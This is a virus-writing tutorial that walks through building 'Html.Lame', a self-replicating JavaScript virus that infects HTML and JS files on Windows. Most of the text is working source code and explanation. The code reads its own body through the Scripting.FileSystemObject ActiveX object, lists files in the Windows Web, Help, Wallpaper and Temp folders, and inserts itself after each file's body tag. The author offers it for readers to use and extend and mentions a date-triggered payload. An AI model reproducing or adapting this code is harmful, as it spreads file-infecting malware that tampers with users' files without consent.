by Bumblebee[UC]

Introduction

Are Html viruses a menace for users? Well this is a question that most avers make theirselves. Why spend time detecting and cleaning this 'new' viruses if the user never become infected. That's right?

In my opinion html viruses are like macro ones, but a macro virus has all it needs in the program that runs the macro. A html virus needs an interpreter and other programs to spread. We must know some concepts before we start coding Html viruses:

Automation object
An object that is exposed to other applications or programming tools through Automation interfaces. Automation servers provide at least one type of object. For example, a word-processing application may provide an application object, a document object, and a toolbar object. This is like some macro viruses does their work. Like Melissa, that uses the mail client of Microsoft to spread. The most important server for us is Scripting that has needed objects for spread process, but you can call other servers like Word.
 
JavaScript and/or VBScript and/or WSH
These are the most common scripting lenguages used over the net and local machines. There are a lot of more powerfull lenguages, like TCL/TK, but we want the virus to spread, so we need to use the most 'spreaded' lenguage. There are a lot of tuts over the net. I'm going to show you only the things you need to infect Html files. But there are a lot of ways to do the same thing. Try to get some of this tuts. In Microsoft's site is JScript Lenguage Reference for v4.0 of the lenguage.

I'm going to use JavaScript. Most Html viruses i have seen are coded in VBScript -yep, more of them aren't viruses- using WSH as Codebrakers made with their VBS viruses. The method i'm going to explain is a basic one. You can improve it using WSH but is not required.

There are 3 points to solve in Html virus coding:

  1. Find the virus body
  2. Find files to infect
  3. Infect files

I'm going to explain these three points with a virus made for this article: Html.Lame. Is a little Html virus coded in JavaScript that infects Html and Js files. Uses only the Scripting server. Has a payload activated by date and all the virus is about 72 lines of code.

 

Find the virus body

We need a clean copy of the virus body to add to (infect) other html files. I search the location of the infected file that contains the virus with:

virusPath=window.location.pathname

With this line i have the path of the file in the variable virusPath. Notice that you must declare virusPath as variable before use it. Now we need to read the entire infected file. At this point is required an Automation object from the server Scripting. We use the function:

var newObject = new ActiveXObject(class)

The class argument uses the syntax servername.typename and has these parts:

Part Description
servername The name of the application providing the object.
typename The type or class of the object to create.

And we use it in this way:

fso=ActiveXObject("Scripting.FileSystemObject")

Our virus works only offline 'cause online you can't open the infected file. Now we need to quit the / that is at the begining of the path (because is a local file), and read the entire file:

virusPath=virusPath.slice(1)
file=fso.openTextFile(virusPath,1)
virus=file.readAll()
file.close()

We use Slice to quit the first char at virusPath and fso.openTextFile to open the infected file. With the next line we read the code and put into the var virus and finally close the file.

Now we have the entire infected file into a var. Now we need to get the virus body from the file. We do this with:

i=virus.search(new RegExp("<SCRIPT lenguage=\"JavaScript\" lame>"))
j=virus.search(new RegExp("Lame"+"Ends"))
j+=20
virus=virus.slice(i,j)

We search the first line of the virus and put the pos of this string into a var. Next do the same but with the virus end line. Notice two things:

1.We search "Lame"+"Ends" cause we don't want our virus founds "LameEnds" before the virus ends -shit, this is hard to explain-:

... more virus ...
j=virus.search(new RegExp("Lame"+"Ends"))
... more virus ...
file.close()
}
}
}
//LameEnds--></SCRIPT>

The right "LameEnds" is the second. So we put "Lame"+"Ends" to avoid find the wrong string.

2. We need to add 20 to j 'cause we want "--></SCRIPT>" as virus body too.

Now the slice line gets the virus body from the entire infected file.

 

Find files to infect

The worst part of a Html virus it to find files to infect. In Win98 there are lot of Html files but is hard to find new files for our virus. We can use the following function to find folders where usually are Hml files:

object.GetSpecialFolder(folderspec)

The GetSpecialFolder method syntax has these parts:

Part Description
object Required. Always the name of a FileSystemObject.
folderspec Required. The name of the special folder to be returned. Can be any of the constants shown in the following table.

The folderspec argument can have any of the following values:

Constant Value Description
WindowsFolder 0 The Windows folder contains files installed by the Windows operating system.
SystemFolder 1 The System folder contains libraries, fonts, and device drivers.
TemporaryFolder 2 The Temp folder is used to store temporary files. Its path is found in the TMP environment variable.

So we can get Windows and Temporary folders to infect files there. Morever we can get \windows\web and \windows\web\wallpaper.

Our virus does:

var winDir=fso.GetSpecialFolder(0)
lameDir(fso.GetFolder(winDir.path+"\\Web"))
lameDir(fso.GetFolder(winDir.path+"\\Help"))
lameDir(fso.GetFolder(winDir.path+"\\Web\\Wallpaper"))
lameDir(fso.GetSpecialFolder(2))

And lameDir is the function we use to infect all the files in this folder.

function lameDir(folder)
{
var files,fitem
files=new Enumerator(folder.files)
for(;!files.atEnd();files.moveNext()) {
        fitem=files.item()
        lameInfect(fitem.path)
}
}
}
}

We get all the files of the folder passed as argument to the function. Using the Enumerator object we call lameInfect function to infect each file found.

 

Infect files

This is the part we must do in the best way. If a file is wrong infected can be corrupted and user notices something goes wrong. The argument of this function is the path of the fie to infect. First we need to check the extension of the file 'cause we want infect only Html, Htm and Js files.

function lameInfect(fileName)
{
if(fileName.search(new RegExp(".[hH][tT][mM]"))!=-1 
	|| fileName.search(new RegExp(".[jJ][sS]"))!=-1) {
var file,fso,host,i,j,infected,virus,virusPath
fso=new ActiveXObject("Scripting.FileSystemObject")
virusPath=window.location.pathname
virusPath=virusPath.slice(1)
file=fso.openTextFile(virusPath,1)
virus=file.readAll()
file.close()
i=virus.search(new RegExp("<SCRIPT lenguage=\"JavaScript\" lame>"))
j=virus.search(new RegExp("Lame"+"Ends"))
j+=20
virus=virus.slice(i,j)
file=fso.openTextFile(fileName,1)
host=file.readAll()
file.close()
if(host.search(new RegExp("Html.Lame"))==-1) {
i=host.search(new RegExp("< *[Bb][Oo][Dd][Yy]"))
if(i!=-1) {
i+=4
infected=host.slice(0,i)
host=host.slice(i)
i=host.search(new RegExp(">"))
i++
infected+=host.slice(0,i)
host=host.slice(i)
}
infected+=virus
infected+=host
file=fso.openTextFile(fileName,2)
file.write(infected)
file.close()
}
}
}

This fuction includes the code to find virus body, and this is explain yet. See the rest of the code. We open the future host and read the entire code. Now we search for body section. If we can't found it we assume it is a Js file and insert the virus code at the begining of the file.

But if body section is found we must found the end of this tag. This tag can contain more sub-tags as bgcolor and background. So we must find exactly where this section ends. Then we insert the virus code there. I used slice and search, but you can use other functions as well.

 

The end

That's it! I hope this made you a global idea about Html viruses. Html viruses are lame but can be interesting combined with other items like macros or file viruses. The Html.Lame is a very basic Html virus and works fine, the reader can found other ways to infect as using onLoad tag. Take a look at the code of the virus. There are some things i didn't commented but you can understand it your own: testing if the browser is Netscape, payload, ... Enjoy it!

Bumblebee[UC]